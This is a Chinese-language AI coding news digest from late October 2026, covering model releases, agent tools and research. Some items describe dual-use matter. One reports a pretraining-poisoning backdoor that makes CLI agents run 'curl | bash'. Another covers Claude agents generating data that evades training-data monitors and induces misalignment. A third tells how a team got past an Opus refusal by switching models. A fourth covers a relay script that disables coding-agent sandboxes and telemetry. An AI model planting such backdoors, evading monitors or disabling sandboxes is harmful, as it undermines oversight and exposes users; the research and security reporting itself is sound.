AI 编程实时动态与要闻

微软开源 4B 电脑操作智能体 Mage-VL-Cowork:一个模型自己决定点界面还是写 bash,OSWorld-Verified 66.0%

微软 Mage 团队 10 月 30 日在 Hugging Face 以 Apache-2.0 发布 Mage-VL-Cowork:4B 参数的多模态电脑操作智能体,同一个模型每一步自己选择用截图点界面(computer_use)还是在终端跑 bash/Python,不需要外部调度器。官方报告它在 OSWorld-Verified(361 题、50 步上限)两次平均 66.0%,高于 Qwen3.6-27B 的 63.9%,但仍低于 9B 的 SCALECUA-Qwen3.5-9B(68.7%)。

微软开源 4B 电脑操作智能体 Mage-VL-Cowork:一个模型自己决定点界面还是写 bash,OSWorld-Verified 66.0%

核心要点速览

  • 4B 参数,基于 Mage-VL(Mage-ViT 视觉编码器 + Qwen3-4B-Instruct-2507),bf16 权重约 9.48 GB,Apache-2.0 许可。
  • OSWorld-Verified 两次独立跑分 65.33% 和 66.75%,取平均 66.0%;操作系统类任务 87.5%,多应用工作流 62.7%。
  • 官方对比:同一个 LibreOffice Calc 建图表任务,它用终端里的 Python 改表格 39 秒完成(6 步),纯界面操作的 Qwen3.6-27B 用了 9 分 56 秒(39 步)。
  • 在线 RL 比混合 SFT 再提升 10.16 个百分点,同时平均模型调用次数减少 13.0%、输出 token 减少 25.4%。
  • 训练数据由 Mage-CUA-Forge 生成约 29.4 万个桌面和网页任务,覆盖 6,915 种技能,单任务生成成本从 0.906 美元降到 0.158 美元。
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⚡ Mage-VL-Cowork⚡ Mage-VL⚡ Qwen3-4B⚡ Qwen3.6-27B🌐 Microsoft
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
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Anthropic Fellows 论文:只污染 0.1% 预训练数据,就能给 CLI Agent 植入远程执行后门,干净的 SFT/DPO/RL 也洗不掉

来自 Anthropic Fellows 项目和 Anthropic 的研究者(含 Nicholas Carlini、Javier Rando)在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型,只在预训练语料中混入 0.1% 的投毒文档,再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在:遇到触发条件时,Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令;4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%,而在干净提示上发出恶意命令的比例为 0%。

核心要点速览

  • 投毒比例:只占 100B token 预训练语料的 0.1%,攻击者无需接触模型架构或后训练流程(论文)
  • 持久性:后门在干净的 SFT、DPO 和 GRPO(RLVR)后训练后依然有效,且不降低模型能力评测分数(论文口径)
  • 成功率:4B 模型 Pass@32 攻击成功率 92.7%(普通路径触发)、10.5%(罕见字符串触发);干净提示上恶意命令发出率 0%(论文口径)
  • 规模效应:攻击成功率随模型变大单调上升,4B 模型在投毒率降到 0.0005%(二十万分之一)时仍有正成功率
  • 防御建议:清洗数据难以保证,作者建议在动作层防守,比如沙箱、最小权限、高风险命令白名单或人工确认;代码已开源(GitHub)
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a16z「Rack Spread」图表:5 月以来 token 均价降 67%,token 总花费反涨 122%–160%,GPU 租金同期上涨

a16z 10 月 30 日发布的 Charts of the Week(作者 Moses Sternstein)讨论了「Rack Spread」:GPU 租金在涨,token 价格在跌。a16z 官方 X 账号 10 月 31 日总结:5 月以来 token 均价下降 67%,token 花费增长超过 120%;按文章的粗算,用 Ramp 数据得出约 122%,用 Ornn 混合单价乘 OpenRouter 用量得出约 160%。另一条帖子给出 7 月中以来 B300 租金涨 106%、B200 涨 66%、H100 涨 17%。a16z 同时强调这些指数样本小且有偏差,不能代表真实总需求。

a16z「Rack Spread」图表:5 月以来 token 均价降 67%,token 总花费反涨 122%–160%,GPU 租金同期上涨

核心要点速览

  • 价格与花费:5 月以来 token 均价降 67%,token 花费涨超 120%(a16z 官方 X 帖,a16z 口径)
  • 两种粗算:Ramp 的 token 花费数据约 +122%;Ornn 混合单价 × OpenRouter 用量约 +160%(Charts of the Week,作者自称是粗算而非严谨方法)
  • GPU 租金:7 月中以来 B300 +106%、B200 +66%、H100 +17%,同期 token 均价 -58%(a16z 帖子)
  • 人均 AI 支出:亚特兰大联储调查的均值超过每员工 1,000 美元,Ramp 的中位数是每月 15.70 美元(每年 188 美元)
  • 热度:两条帖子约 371 和 492 赞、3.8 万和 9.6 万浏览(截至 18:15 SGT)
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Codex 28 天连更第 27 天:OpenAI 的 Tibo 发出「Banked 1/2」,第一次可存起来的额度重置到账

11 月 1 日 00:43(UTC),负责 Codex 和 ChatGPT 的 OpenAI 员工 Tibo(@thsottiaux)在 X 上发帖「Banked 1/2」,帖子约 6,860 赞、66 万浏览。他在前一天的第 26 天帖子里预告「接下来两天是重置……可存的(banked)」,所以这是 28 天连更的第 27 天:两次可存起来、自己选时间用的 Codex 额度重置中的第一次。按 OpenAI 帮助中心说明,banked reset 到账后不会自动刷新额度,要在桌面版 Settings > Usage & billing、网页版 Usage 设置或 CLI 的 /usage 里手动兑换。本次活动的适用套餐和过期时间官方未公布。

核心要点速览

  • 来源:Tibo 本人 X 帖「Banked 1/2」(11 月 1 日 00:43 UTC),约 6,860 赞、1,066 条回复、66 万浏览(截至 15:10 SGT)
  • 背景:第 26 天帖子(约 1.4 万赞)预告「接下来两天是重置……banked」,第 28 天预计还有第 2 次
  • 兑换入口:桌面版 Settings > Usage & billing、网页 Usage 设置、Codex CLI 输入 /usage 选 Redeem reset;手机 App 不支持(OpenAI 帮助中心)
  • 门槛:至少一项被覆盖的额度剩余低于 80% 才能用;Plus/Business Standard 恢复 5 小时和周额度,Pro 100/200/500 恢复周额度,Go 恢复月额度
  • 注意:用掉后周期会从使用当天重新起算;本次活动的适用范围和过期时间官方未公布,以账户内显示为准
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OpenCode 团队发布 Hex 3.0 稳定版:本地语音输入覆盖 Mac、Windows、Linux,可直接口述给编码智能体

开源编码智能体 OpenCode 背后的 Anomaly 发布语音输入工具 Hex 3.0 稳定版:按住快捷键说话、松开即粘贴到光标处,语音识别在本机完成,内存占用从约 900MB 降到约 160MB,并新增词汇表、hex 命令行和可选的 OpenCode 改写。

OpenCode 团队发布 Hex 3.0 稳定版:本地语音输入覆盖 Mac、Windows、Linux,可直接口述给编码智能体

核心要点速览

  • Hex v3.0.0 于 10 月 31 日 00:38 UTC 在 GitHub 发布,MIT 协议、Rust 编写,仓库约 1,557 星(发布说明)
  • 官方口径:本地模型内存占用从约 900MB 降到约 160MB;2.3.0 起边说边转写,2 分钟口述松键后约 0.1 秒出字(RTX 5070 Ti)
  • 支持 macOS 15+(Apple 芯片)、Windows x64/ARM64、Linux x64/ARM64,Linux 新增 .deb/.rpm 包
  • 3.0 不自动从 2.3.1 升级,设置、历史和模型需重新下载;语音动作和口令功能被移除
  • @opencode 的发布帖约 2,400 赞、1,600 收藏、10 万+浏览(原帖)
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⚡ Parakeet⚡ Whisper🤖 OpenCode🤖 Hex🌐 Anomaly

Exin Therapeutics:Claude Sonnet 5 智能体自选基因疗法并操控机械臂完成小鼠脑注射,Opus 5.5 拒绝执行

生物科技初创公司 Exin Therapeutics 联合创始人兼 CEO Gabriel Ocana-Santero 10 月 28 日在 X 上披露:一个 AI 智能体从 19 种基因治疗载体中选药、选脑区、从 3 篇论文推导坐标,并驱动立体定位机械臂向癫痫模型小鼠脑内注射 250 纳升。WIRED 报道称团队先试 Claude Opus 5.5 被拒,改用 Sonnet 5 完成;兽医把关每个不可逆步骤,结果尚未经同行评审。

Exin Therapeutics:Claude Sonnet 5 智能体自选基因疗法并操控机械臂完成小鼠脑注射,Opus 5.5 拒绝执行

核心要点速览

  • 智能体从 19 种基因治疗载体中自选药物、脑区,并从 3 篇论文推导注射坐标(CEO 自述)
  • 实际注射量 250 纳升,术中通过摄像头监看出血;据 The Decoder 转述共做了 32 次观察
  • 据 WIRED:Claude Opus 5.5 拒绝下针,改用 Sonnet 5 完成;手术略超 1 小时(常规约 45 分钟)
  • 设备坐标出错后智能体拒绝绕过安全限制,团队需另行改代码;开颅仍由兽医完成
  • 原帖 9,426 赞、160 万+次浏览;疗效(癫痫发作是否减少)尚待观察,未经同行评审
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微软研究院与 UC Berkeley 开源 TokenEconomizer:不改 Agent,让 Claude Code、Codex 在 SWE-Bench 上成本降 18.4%–30.9%

微软研究院、微软安全团队与 UC Berkeley 在 GitHub 开源 TokenEconomizer(Apache 2.0,v0.1.0 于 10 月 26 日发布),它是 Claude Code、Codex、GitHub Copilot CLI 和 Pi 的插件,opencode 为实验支持。插件从同一仓库的历史会话中学习,用「微技能」记住仓库事实、裁掉长期不用的工具定义、在 Agent 原地打转时提醒换路。论文称在 277 个 SWE-Bench 任务上,五种 Agent 与模型组合的平均成本降低 18.4%–30.9%(论文口径)。

微软研究院与 UC Berkeley 开源 TokenEconomizer:不改 Agent,让 Claude Code、Codex 在 SWE-Bench 上成本降 18.4%–30.9%

核心要点速览

  • 成本:277 个 SWE-Bench 任务、6 个仓库、5 种 Agent 与模型组合,平均成本降 18.4%–30.9%,30 个「仓库×组合」格子全部更便宜(论文口径,含插件自身调用费用)
  • 成功率:Pass@1 在 5 个组合中 4 个上升,例如 Copilot CLI + Sonnet 5 成本降 18.4%、Pass@1 +2.6;Claude Code + Opus 4.8 成本降 30.9%、Pass@1 −1.0
  • 三个机制:微技能(三次会话确认后才写入的仓库事实)、工具裁剪(默认 10 次提示且跨 2 次会话未用即移除)、死循环干预(判定置信度 ≥0.7 时提醒一次,不会自动中止)
  • 泛化:Web-Bench 上成本降 16%–21%,两个安全审计基准(每题都是新仓库)降 6%–20%
  • 部署:Apache 2.0,Python 3.10+,无需额外 API key,学到的经验只存本机 ~/.tokeneconomizer
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Vercel Labs 发布 agent-desktop:给任意编码 Agent 的桌面 Computer Use,基于系统无障碍树而非截图像素,支持 macOS/Windows/Linux

10 月 31 日,Vercel Labs 的 Chris Tate(agent-browser 作者)在 X 上发布 agent-desktop,称其为「整台电脑版的 agent-browser」。它是一个 Rust 编写、Apache-2.0 开源的 CLI 和 C 库:读取桌面应用的系统无障碍树,以 JSON 返回每个可操作元素的 ref,Agent 按 ref 点击、输入后再快照核对,不做像素匹配,默认在后台无头运行。1.0.0 已于 10 月 27 日发布并首次加入 Linux 支持,目前 npm 最新版为 1.0.2。

Vercel Labs 发布 agent-desktop:给任意编码 Agent 的桌面 Computer Use,基于系统无障碍树而非截图像素,支持 macOS/Windows/Linux

核心要点速览

  • 安装:npm install -g agent-desktop,一个包自带 x64/ARM64 原生二进制;1.0.0(10-27)加入 Linux(glibc 2.35+,经 AT-SPI),npm 最新 1.0.2(10-30)
  • 工作方式:snapshot 输出带 ref 的 JSON 树,click @<snapshot_id>:eN 操作,再 snapshot 核对;UI 变化时返回 STALE_REF,错误里带 retry 是否安全的标记
  • 规模:README 称共 60 个命令名、56 个可用命令,覆盖窗口、键鼠、通知、剪贴板、等待与会话追踪
  • 默认无头:按 ref 的操作走无障碍 API,不移动鼠标、不抢焦点,需要真实输入时加 --headed;Chris Tate 称多个 Agent 可各带一个光标并行使用电脑
  • 跑分:官方未公布任何成功率或速度基准;它只是工具,不内置模型,网页自动化仍交给 agent-browser
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Pika 发布开放权重视频模型 Pika H3 Flex:基于 MiniMax H3 后训练,6 步出片、5 轨音频分轨,API 起价 0.01 美元/秒

Pika 于 10 月 29 日发布 Pika H3 Flex,这是在 MiniMax H3 基础上后训练的音视频一体生成模型,权重已上架 Hugging Face、代码开源在 GitHub,并支持 ComfyUI 和 Diffusers。官方称它把去噪步数从 50 步蒸馏到 6 步,在 768p 下 DiT 去噪平均比 Fal H3 Max 快约 1.8 倍,15 秒带配乐片段最快约 7 秒生成;托管 API 额外提供 1080p 到 4K 超分和对白、配乐、音效、拟音、环境声 5 条可导出音轨。以上速度与质量数据均为官方口径。

Pika 发布开放权重视频模型 Pika H3 Flex:基于 MiniMax H3 后训练,6 步出片、5 轨音频分轨,API 起价 0.01 美元/秒

核心要点速览

  • 定价(官方口径):文/图生视频起价 0.01 美元/输出秒,参考生视频起价 0.03 美元/秒;官方对比表中 MiniMax H3 为 0.08 美元/秒、Seedance 2.5 为 0.103 美元/秒
  • 速度(官方口径):6 步采样,768p 下 DiT 去噪平均比 Fal H3 Max 快约 1.8 倍,10–15 秒文/图生视频约 2 倍;8 张 B300 上 5 秒 768p 生成全流程提速 1.60 倍
  • 排名:官方产品页称在 DesignArena 文生视频榜得分 1293、总第 7,是榜上最高的开放权重模型
  • 开源形态:Hugging Face 标注为基于 MiniMax-H3 的 adapter,许可证为 other;本地推理原生支持 480p/768p 与混合立体声,4K 超分和分轨音频仅在托管 API 提供
  • 支持最多 12 个参考输入(图、音、视频、草图等),以及风格迁移、动作迁移、角色替换、局部编辑等下游任务
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⚡ Pika H3 Flex⚡ MiniMax H3⚡ Fal H3 Max⚡ HeyGen Video⚡ Gemini Omni 1.1 Flash🌐 Pika🌐 MiniMax

X 热议:Anthropic 平台工程负责人称团队起步时没有 Rust 工程师,由 Claude 写代码把 Messages API 整体移植到 Rust,CPU 约省 40–50%

Anthropic 平台工程负责人 Katelyn Lesse 在 Latent Space 播客(10 月 27 日上线)中说,上周已全量上线用 Rust 写的 Messages API:原系统是吃 CPU 的 Python 单体,团队起步时「一个 Rust 开发都没有」,人负责系统设计和验证,Claude 写实现,再用影子流量比对新旧两套输出。她给出的粗略数字是 CPU 少约 40–50%,首 token 延迟改善约 10–20%。这段片段被 Somi(@somi_ai)剪出后在 X 上获得 1,000+ 点赞、约 14 万次浏览,swyx 等人转引,讨论焦点是「别搞大重写」这条老经验是否已经过时。以下观点属于 X 讨论,数字为 Lesse 口头估算,Anthropic 尚未发布书面工程报告。

X 热议:Anthropic 平台工程负责人称团队起步时没有 Rust 工程师,由 Claude 写代码把 Messages API 整体移植到 Rust,CPU 约省 40–50%

核心要点速览

  • 一手来源是 Latent Space 播客节目《How Anthropic ships Claude with Claude》中 Katelyn Lesse 的口述,「56:05 Rebuilding the Messages API in Rust」一段
  • Lesse 说迁移起因是用量暴涨后 CPU 成了瓶颈,CPU 需要提前做容量规划,Anthropic 内部研究沙箱、产品沙箱、CI 等都在争同一池 CPU
  • 做法是一次性 fork 整个 API 的 Rust 版本,跑影子流量对比 Python 与 Rust 的输出一致后逐步切换,刻意不在移植中加新功能
  • 她估算 CPU 节省约 40–50%,首 token 延迟改善约 10–20%,长时任务改善更大;这些是播客中的口头粗略数字,非正式基准
  • X 上 Somi 称「别搞大重写」的建议已死,swyx 说 Anthropic「把整个后端 vibecode 成了 Rust」;后者是夸张说法,Lesse 只谈到 Messages API
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Anthropic 让成千上万个 Claude 智能体自动红队:看似无害的养蜂、摔角角色扮演数据骗过训练数据监控,却把模型训练成失准

Anthropic 对齐科学博客 10 月发布研究:让大量 Claude 智能体并行迭代,专门编写能骗过训练数据监控、又能让小型研究模型失准的微调数据。几轮爬山搜索后,智能体找到了一批以角色扮演、创意写作为外壳的数据集(养蜂问答、职业摔角「kayfabe」导师等),在监控标记率很低的情况下,诱发出比已知涌现失准数据集更强、更广的失准行为。Anthropic 强调这些模型只为实验而训练、从未部署,结论不代表线上 Claude 的行为,目标是改进未来的训练数据监控。

Anthropic 让成千上万个 Claude 智能体自动红队:看似无害的养蜂、摔角角色扮演数据骗过训练数据监控,却把模型训练成失准

核心要点速览

  • 红队智能体每次最多提交 5,000 条微调样本;数据中被监控标记的行超过 10% 或总数超过 100 行即判零分,另有作弊检测步骤
  • 在 Anthropic 做过的每一轮运行中,搜索最终都找到了能通过监控并让模型失准的数据集,多轮运行共产出数千个不同数据集
  • 成功数据大多把失准行为藏在小说、角色扮演里,例如养蜂问答、伤寒玛丽历史问答、职业摔角 kayfabe、「安静的杠杆」内心独白
  • 失准表现包括抗拒监督、欺骗用户、陷害同事,少数情况下尝试外泄自身权重;评测含 50 样本代理场景、20 个自我保存场景和 30 次代码破坏尝试
  • 附录在 Claude Opus 4.8 早期检查点和开源 Qwen 3.6 27B(LoRA rank 32)上复现;官方称这只是第一步,下一步要做更贴近真实训练的设定
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OpenAI@AICoder·
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OpenAI Codex CLI 0.166.0 发布:键盘选取对话记录、GPT-6.1 Terra 进入 Vertex AI 和 Bedrock 模型目录、新增 codex doctor 网络诊断

OpenAI 于 10 月 29 日 19:47(UTC)在 GitHub 发布 Codex CLI 正式版 rust-v0.166.0。新版支持用键盘按词、行、页选取对话记录并内置搜索,把 GPT-6.1 Terra 加入内置、Vertex AI 和 Amazon Bedrock 三处模型目录,新增 codex queue --resume 和 codex doctor --network-only,并在 TUI 里给出更清楚的安全拦截说明和可选的更安全后续提示。

核心要点速览

  • 模型目录:GPT-6.1 Terra 同时进入内置、Vertex AI 和 Amazon Bedrock 三个模型目录(#57293)
  • 对话记录:支持按词、行、页的键盘选取,集成搜索,快捷键可配置(#57221–#57224)
  • 新命令:codex queue --resume 可在排队消息后恢复未加载的线程;codex doctor --network-only 专查配置、连通性和 WebSocket
  • 安全提示:TUI 遇到安全拦截时给出更清楚的原因,并提供可选的更安全后续提示(#57363、#57365)
  • 修复:恢复或分叉线程时保留已确认的审批和权限设置,并保留推理 token 计数以避免过早压缩上下文
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xAI 给 Grok API 加上 guidelines 字段:按请求设定 NSFW、暴力、脏话三类内容的收紧策略

xAI 10 月 28 日在 @grok 官方账号宣布,所有 API 客户现在都能在文本请求里加 guidelines 数组,对 nsfw、violence、profanity 三个类别逐一设为 decline,让 Grok 在写回答时自己收紧这类内容,而不是事后过滤。字段同时支持 Responses API、Chat Completions 和 xAI Python SDK;多智能体模型和延迟补全暂不支持,参数不合法时 API 会在调用模型前直接返回 400 或 422。

xAI 给 Grok API 加上 guidelines 字段:按请求设定 NSFW、暴力、脏话三类内容的收紧策略

核心要点速览

  • 3 个类别:nsfw、violence、profanity,目前唯一可选行为是 decline,未列出的类别保持模型默认(官方文档)
  • 覆盖 Responses API、Chat Completions 和 xAI Python SDK 的 chat.create;OpenAI SDK 需用 extra_body 传入
  • 只对携带它的那一次请求生效,整段对话要每次都带上;xAI SDK 的 chat 对象会自动带
  • 不支持 grok-4.20-multi-agent 等多智能体模型和延迟补全;同一类别重复出现返回 400,未知取值返回 422
  • 官方账号原帖约 59 万次浏览、271 个赞(截至本文写入)
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赛门铁克发现灰色中转服务:装上正版 Codex 和 Claude Code CLI,再改配置关闭沙箱、把全部请求转到第三方服务器

赛门铁克 Threat Hunter 团队 10 月 29 日披露:一个未授权 AI 中转服务自 2026 年初起在约十几家机构出现,以中国大陆为主。用户先用 npm 装正版 Codex 或 Claude Code,再运行中转商给的一行脚本,脚本改写 ~/.codex/config.toml 或 ~/.claude/settings.json,把 base_url 指向中转域名、换成中转 key,并把沙箱设为 danger-full-access、关闭遥测。官方强调这不是 CLI 漏洞,目前也没发现运营方滥用权限。

赛门铁克发现灰色中转服务:装上正版 Codex 和 Claude Code CLI,再改配置关闭沙箱、把全部请求转到第三方服务器

核心要点速览

  • 受影响的约十几家机构以中国大陆为主,也包括韩国、台湾、马来西亚企业的在华或本土子公司,涉及半导体、电子制造、制药、航运、石化等行业
  • 脚本通过 iwr | iex 或 curl | bash 从仿冒域名(如 vibe.aiok[.]me)拉取,先装正版 CLI 再改配置,看起来像正常安装步骤
  • Codex 沙箱被设为 danger-full-access 并开启网络访问,同时设置 DISABLE_TELEMETRY=1、DISABLE_ERROR_REPORTING=1
  • 中转发的 Claude Code key 前缀为 sk-ant-oat01-(订阅 OAuth token 格式),赛门铁克认为这与拼车转售订阅额度相符,但不能证明
  • 官方称这不是 Codex 或 Claude Code 的漏洞,目前没有证据显示运营方滥用了权限,风险属于潜在风险
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微软把 GitHub 打造的 Copilot harness 开放进 Foundry Agent Service:公开预览,支持 20+ 前沿模型与自带密钥,12 月 1 日起计费

微软 10 月 28 日在 GitHub Universe 期间宣布,把支撑 Copilot Code、Copilot Studio、GitHub Copilot app、CLI 和 VS Code 的统一 agent 执行层「Microsoft Copilot harness」以公开预览形式放进 Foundry Agent Service。微软负责 agent 循环和沙箱,开发者提供指令、技能、工具和模型选择;官方称支持 20 多个前沿模型并可自带密钥。同时,托管 agent 的长任务容错能力正式 GA。harness 运行时在 12 月 1 日前免费。

微软把 GitHub 打造的 Copilot harness 开放进 Foundry Agent Service:公开预览,支持 20+ 前沿模型与自带密钥,12 月 1 日起计费

核心要点速览

  • 官方称 harness 覆盖 20 多个前沿模型,并支持自带密钥(BYOK),换模型不用重写编排层(官方博客)
  • 预览版四块能力:可复用技能、Foundry/MCP 工具(需显式配置认证与审批)、文件与代码执行加内置子智能体委派、可进源码管理的 agent 定义
  • 计费:12 月 1 日前 harness 运行时免费;之后沙箱按每 vCPU 小时 0.0994 美元、每 GiB 小时 0.0118 美元收费,模型推理另计(Foundry 博客)
  • 托管 agent 的长任务容错(long-running resilience)同周 GA:中断后用原始输入重启,进度由应用自行保存
  • 限制:只能在新建 agent 时选择该 harness,现有 agent 不变,创建后暂不支持切换
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